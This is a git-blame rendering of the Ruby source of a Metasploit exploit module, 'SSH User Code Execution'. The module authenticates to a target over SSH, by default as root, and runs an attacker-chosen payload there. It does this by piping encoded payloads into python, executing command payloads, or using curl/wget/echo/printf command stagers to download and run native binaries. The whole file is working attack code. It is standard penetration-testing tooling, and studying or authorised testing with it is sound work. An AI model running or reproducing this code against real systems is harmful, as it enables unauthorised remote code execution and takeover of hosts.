2013-03-08 15:25:16 -05:00
|
|
|
##
|
2017-07-24 06:26:21 -07:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2013-10-15 13:50:46 -05:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2013-03-08 15:25:16 -05:00
|
|
|
##
|
2013-01-09 10:27:22 -05:00
|
|
|
|
2016-03-08 14:02:44 +01:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2013-01-09 10:27:22 -05:00
|
|
|
Rank = ManualRanking
|
|
|
|
|
|
2014-02-07 18:46:19 -06:00
|
|
|
include Msf::Exploit::CmdStager
|
2016-06-28 15:23:12 -05:00
|
|
|
include Msf::Exploit::Remote::SSH
|
2013-01-09 10:27:22 -05:00
|
|
|
|
|
|
|
|
attr_accessor :ssh_socket
|
|
|
|
|
|
|
|
|
|
def initialize
|
|
|
|
|
super(
|
2015-08-12 15:46:47 -04:00
|
|
|
'Name' => 'SSH User Code Execution',
|
2017-11-30 20:45:11 -06:00
|
|
|
'Description' => %q(
|
2015-08-12 16:05:09 -04:00
|
|
|
This module connects to the target system and executes the necessary
|
|
|
|
|
commands to run the specified payload via SSH. If a native payload is
|
2015-08-13 14:16:09 -05:00
|
|
|
specified, an appropriate stager will be used.
|
2017-11-30 20:45:11 -06:00
|
|
|
),
|
2015-08-12 15:46:47 -04:00
|
|
|
'Author' => ['Spencer McIntyre', 'Brandon Knight'],
|
|
|
|
|
'References' =>
|
2013-01-09 10:27:22 -05:00
|
|
|
[
|
|
|
|
|
[ 'CVE', '1999-0502'] # Weak password
|
|
|
|
|
],
|
2015-08-12 15:46:47 -04:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
|
'Privileged' => true,
|
|
|
|
|
'DefaultOptions' =>
|
2013-01-09 10:27:22 -05:00
|
|
|
{
|
2015-08-12 15:46:47 -04:00
|
|
|
'PrependFork' => 'true',
|
|
|
|
|
'EXITFUNC' => 'process'
|
2013-01-09 10:27:22 -05:00
|
|
|
},
|
2015-08-12 15:46:47 -04:00
|
|
|
'Payload' =>
|
2013-01-09 10:27:22 -05:00
|
|
|
{
|
2017-11-30 14:42:14 -06:00
|
|
|
'Space' => 800000,
|
2015-08-12 15:46:47 -04:00
|
|
|
'BadChars' => "",
|
|
|
|
|
'DisableNops' => true
|
2013-01-09 10:27:22 -05:00
|
|
|
},
|
2019-05-02 20:40:14 +00:00
|
|
|
'Platform' => %w[linux osx unix python bsd],
|
2017-11-30 20:45:11 -06:00
|
|
|
'CmdStagerFlavor' => %w[bourne echo printf wget],
|
2015-08-12 15:46:47 -04:00
|
|
|
'Targets' =>
|
2013-01-09 10:27:22 -05:00
|
|
|
[
|
2023-03-15 19:19:19 -05:00
|
|
|
[
|
|
|
|
|
'Linux Command',
|
|
|
|
|
{
|
|
|
|
|
'Arch' => ARCH_CMD,
|
|
|
|
|
'Platform' => 'linux'
|
|
|
|
|
}
|
|
|
|
|
],
|
2017-11-30 20:45:11 -06:00
|
|
|
[
|
|
|
|
|
'Linux x86',
|
2013-01-09 10:27:22 -05:00
|
|
|
{
|
2015-08-12 15:46:47 -04:00
|
|
|
'Arch' => ARCH_X86,
|
2013-01-09 10:27:22 -05:00
|
|
|
'Platform' => 'linux'
|
2014-02-07 20:39:56 -06:00
|
|
|
}
|
2013-01-09 10:27:22 -05:00
|
|
|
],
|
2017-11-30 20:45:11 -06:00
|
|
|
[
|
|
|
|
|
'Linux x64',
|
2013-01-09 10:27:22 -05:00
|
|
|
{
|
2016-10-28 07:16:05 +10:00
|
|
|
'Arch' => ARCH_X64,
|
2013-01-09 10:27:22 -05:00
|
|
|
'Platform' => 'linux'
|
2014-02-07 20:39:56 -06:00
|
|
|
}
|
2013-01-09 10:27:22 -05:00
|
|
|
],
|
2017-11-30 20:45:11 -06:00
|
|
|
[
|
|
|
|
|
'Linux armle',
|
2017-11-30 16:16:34 -06:00
|
|
|
{
|
|
|
|
|
'Arch' => ARCH_ARMLE,
|
|
|
|
|
'Platform' => 'linux'
|
|
|
|
|
}
|
|
|
|
|
],
|
2017-11-30 20:45:11 -06:00
|
|
|
[
|
|
|
|
|
'Linux mipsle',
|
2017-11-30 16:16:34 -06:00
|
|
|
{
|
2017-11-30 20:45:11 -06:00
|
|
|
'Arch' => ARCH_MIPSLE,
|
|
|
|
|
'Platform' => 'linux',
|
|
|
|
|
'CmdStagerFlavor' => %w[curl wget]
|
2017-11-30 16:16:34 -06:00
|
|
|
}
|
|
|
|
|
],
|
2017-11-30 20:45:11 -06:00
|
|
|
[
|
|
|
|
|
'Linux mipsbe',
|
2017-11-30 16:16:34 -06:00
|
|
|
{
|
2017-11-30 20:45:11 -06:00
|
|
|
'Arch' => ARCH_MIPSBE,
|
|
|
|
|
'Platform' => 'linux',
|
|
|
|
|
'CmdStagerFlavor' => %w[wget]
|
2017-11-30 16:16:34 -06:00
|
|
|
}
|
|
|
|
|
],
|
2017-11-30 20:45:11 -06:00
|
|
|
[
|
|
|
|
|
'Linux aarch64',
|
2017-11-30 16:16:34 -06:00
|
|
|
{
|
|
|
|
|
'Arch' => ARCH_AARCH64,
|
|
|
|
|
'Platform' => 'linux'
|
|
|
|
|
}
|
|
|
|
|
],
|
2017-11-30 20:45:11 -06:00
|
|
|
[
|
|
|
|
|
'OSX x86',
|
2013-01-09 10:27:22 -05:00
|
|
|
{
|
2017-11-30 20:45:11 -06:00
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
|
'Platform' => 'osx',
|
|
|
|
|
'CmdStagerFlavor' => %w[curl wget]
|
|
|
|
|
}
|
2015-08-12 15:46:47 -04:00
|
|
|
],
|
2017-11-30 20:45:11 -06:00
|
|
|
[
|
|
|
|
|
'OSX x64',
|
2017-11-30 14:42:14 -06:00
|
|
|
{
|
2017-11-30 20:45:11 -06:00
|
|
|
'Arch' => ARCH_X64,
|
|
|
|
|
'Platform' => 'osx',
|
|
|
|
|
'CmdStagerFlavor' => %w[curl wget]
|
2017-11-30 14:42:14 -06:00
|
|
|
}
|
|
|
|
|
],
|
2019-05-02 20:40:14 +00:00
|
|
|
[
|
|
|
|
|
'BSD x86',
|
|
|
|
|
{
|
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
|
'Platform' => 'bsd',
|
|
|
|
|
'CmdStagerFlavor' => %w[printf curl wget]
|
|
|
|
|
}
|
|
|
|
|
],
|
|
|
|
|
[
|
|
|
|
|
'BSD x64',
|
|
|
|
|
{
|
|
|
|
|
'Arch' => ARCH_X64,
|
|
|
|
|
'Platform' => 'bsd',
|
|
|
|
|
'CmdStagerFlavor' => %w[printf curl wget]
|
|
|
|
|
}
|
|
|
|
|
],
|
2017-11-30 20:45:11 -06:00
|
|
|
[
|
|
|
|
|
'Python',
|
2015-08-12 15:46:47 -04:00
|
|
|
{
|
|
|
|
|
'Arch' => ARCH_PYTHON,
|
|
|
|
|
'Platform' => 'python'
|
|
|
|
|
}
|
2018-11-04 09:29:41 -06:00
|
|
|
],
|
|
|
|
|
[
|
|
|
|
|
'Unix Cmd',
|
|
|
|
|
{
|
|
|
|
|
'Arch' => ARCH_CMD,
|
|
|
|
|
'Platform' => 'unix'
|
|
|
|
|
}
|
2021-10-18 16:46:40 -04:00
|
|
|
],
|
|
|
|
|
[
|
|
|
|
|
'Interactive SSH',
|
|
|
|
|
{
|
|
|
|
|
'DefaultOptions' => {
|
2021-11-05 09:43:48 -04:00
|
|
|
'PAYLOAD' => 'generic/ssh/interact',
|
2021-10-22 17:24:26 -04:00
|
|
|
'WfsDelay' => 5
|
2021-10-18 16:46:40 -04:00
|
|
|
},
|
|
|
|
|
'Payload' => {
|
|
|
|
|
'Compat' => {
|
|
|
|
|
'PayloadType' => 'ssh_interact',
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|
2014-02-07 20:39:56 -06:00
|
|
|
]
|
2013-01-09 10:27:22 -05:00
|
|
|
],
|
2015-08-12 15:46:47 -04:00
|
|
|
'DefaultTarget' => 0,
|
2013-01-09 10:27:22 -05:00
|
|
|
# For the CVE
|
2018-10-27 20:54:14 -04:00
|
|
|
'DisclosureDate' => 'Jan 01 1999',
|
|
|
|
|
'Notes' =>
|
|
|
|
|
{
|
|
|
|
|
'Stability' => [ CRASH_SAFE, ],
|
|
|
|
|
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],
|
|
|
|
|
'Reliability' => [ REPEATABLE_SESSION, ],
|
|
|
|
|
},
|
2013-01-09 10:27:22 -05:00
|
|
|
)
|
|
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
|
[
|
|
|
|
|
OptString.new('USERNAME', [ true, "The user to authenticate as.", 'root' ]),
|
|
|
|
|
OptString.new('PASSWORD', [ true, "The password to authenticate with.", '' ]),
|
2017-12-05 11:55:17 -06:00
|
|
|
Opt::RHOST(),
|
2013-01-09 10:27:22 -05:00
|
|
|
Opt::RPORT(22)
|
2019-06-27 22:07:37 -05:00
|
|
|
]
|
2013-01-09 10:27:22 -05:00
|
|
|
)
|
|
|
|
|
|
|
|
|
|
register_advanced_options(
|
|
|
|
|
[
|
|
|
|
|
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false])
|
|
|
|
|
]
|
|
|
|
|
)
|
|
|
|
|
end
|
|
|
|
|
|
2013-01-12 17:31:11 -05:00
|
|
|
def execute_command(cmd, opts = {})
|
2013-10-07 17:31:34 -04:00
|
|
|
vprint_status("Executing #{cmd}")
|
2018-01-17 13:21:36 -06:00
|
|
|
begin
|
2019-06-27 22:07:37 -05:00
|
|
|
Timeout.timeout(3.5) { ssh_socket.exec!(cmd) }
|
2018-01-17 13:21:36 -06:00
|
|
|
rescue Timeout::Error
|
2019-06-27 22:07:37 -05:00
|
|
|
print_warning('Timed out while waiting for command to return')
|
|
|
|
|
@timeout = true
|
2018-01-17 13:21:36 -06:00
|
|
|
end
|
2013-01-12 17:31:11 -05:00
|
|
|
end
|
|
|
|
|
|
2013-01-09 10:27:22 -05:00
|
|
|
def do_login(ip, user, pass, port)
|
2022-03-24 22:52:15 +01:00
|
|
|
|
|
|
|
|
opt_hash = ssh_client_defaults.merge({
|
|
|
|
|
auth_methods: ['password', 'keyboard-interactive'],
|
|
|
|
|
port: port,
|
|
|
|
|
password: pass
|
|
|
|
|
})
|
2018-01-17 13:21:36 -06:00
|
|
|
|
2019-06-27 22:07:37 -05:00
|
|
|
opt_hash[:verbose] = :debug if datastore['SSH_DEBUG']
|
2013-01-09 10:27:22 -05:00
|
|
|
|
|
|
|
|
begin
|
|
|
|
|
self.ssh_socket = Net::SSH.start(ip, user, opt_hash)
|
2014-11-11 14:59:41 -06:00
|
|
|
rescue Rex::ConnectionError
|
2013-08-15 14:14:46 -05:00
|
|
|
fail_with(Failure::Unreachable, 'Disconnected during negotiation')
|
2013-01-09 10:27:22 -05:00
|
|
|
rescue Net::SSH::Disconnect, ::EOFError
|
2013-08-15 14:14:46 -05:00
|
|
|
fail_with(Failure::Disconnected, 'Timed out during negotiation')
|
2013-01-09 10:27:22 -05:00
|
|
|
rescue Net::SSH::AuthenticationFailed
|
2013-08-15 14:14:46 -05:00
|
|
|
fail_with(Failure::NoAccess, 'Failed authentication')
|
2013-01-09 10:27:22 -05:00
|
|
|
rescue Net::SSH::Exception => e
|
2013-08-15 14:14:46 -05:00
|
|
|
fail_with(Failure::Unknown, "SSH Error: #{e.class} : #{e.message}")
|
2013-01-09 10:27:22 -05:00
|
|
|
end
|
|
|
|
|
|
2019-06-27 22:07:37 -05:00
|
|
|
fail_with(Failure::Unknown, 'Failed to start SSH socket') unless ssh_socket
|
2013-01-09 10:27:22 -05:00
|
|
|
end
|
|
|
|
|
|
2021-06-18 13:33:20 -04:00
|
|
|
def binary_exists(binary, platform: nil)
|
|
|
|
|
Msf::Sessions::CommandShell.binary_exists(binary, platform: platform, &method(:execute_command))
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def execute_python
|
|
|
|
|
python_binary = binary_exists('python', platform: 'unix')
|
|
|
|
|
python_binary ||= binary_exists('python3', platform: 'unix')
|
|
|
|
|
python_binary ||= binary_exists('python2', platform: 'unix')
|
|
|
|
|
fail_with(Failure::NoTarget, 'Python was not found on the target system') if python_binary.nil?
|
|
|
|
|
|
|
|
|
|
execute_command("echo \"#{payload.encoded}\" | #{python_binary}")
|
|
|
|
|
end
|
|
|
|
|
|
2013-01-09 10:27:22 -05:00
|
|
|
def exploit
|
|
|
|
|
do_login(datastore['RHOST'], datastore['USERNAME'], datastore['PASSWORD'], datastore['RPORT'])
|
2021-10-18 16:46:40 -04:00
|
|
|
|
|
|
|
|
if target.name == 'Interactive SSH'
|
|
|
|
|
handler(ssh_socket)
|
|
|
|
|
return
|
|
|
|
|
end
|
|
|
|
|
|
2013-10-07 17:31:34 -04:00
|
|
|
print_status("#{datastore['RHOST']}:#{datastore['RPORT']} - Sending stager...")
|
2018-11-04 09:29:41 -06:00
|
|
|
|
2019-06-27 22:07:37 -05:00
|
|
|
case target['Platform']
|
|
|
|
|
when 'python'
|
2021-06-18 13:33:20 -04:00
|
|
|
execute_python
|
2019-06-27 22:07:37 -05:00
|
|
|
when 'unix'
|
2018-11-04 09:29:41 -06:00
|
|
|
execute_command(payload.encoded)
|
2015-08-12 15:46:47 -04:00
|
|
|
else
|
2023-03-15 19:19:19 -05:00
|
|
|
if target['Arch'] == ARCH_CMD
|
|
|
|
|
execute_command(payload.encoded)
|
|
|
|
|
else
|
|
|
|
|
execute_cmdstager(linemax: 500)
|
|
|
|
|
end
|
2015-08-12 15:46:47 -04:00
|
|
|
end
|
|
|
|
|
|
2019-06-27 22:07:37 -05:00
|
|
|
@timeout ? ssh_socket.shutdown! : ssh_socket.close
|
2013-01-09 10:27:22 -05:00
|
|
|
end
|
|
|
|
|
end
|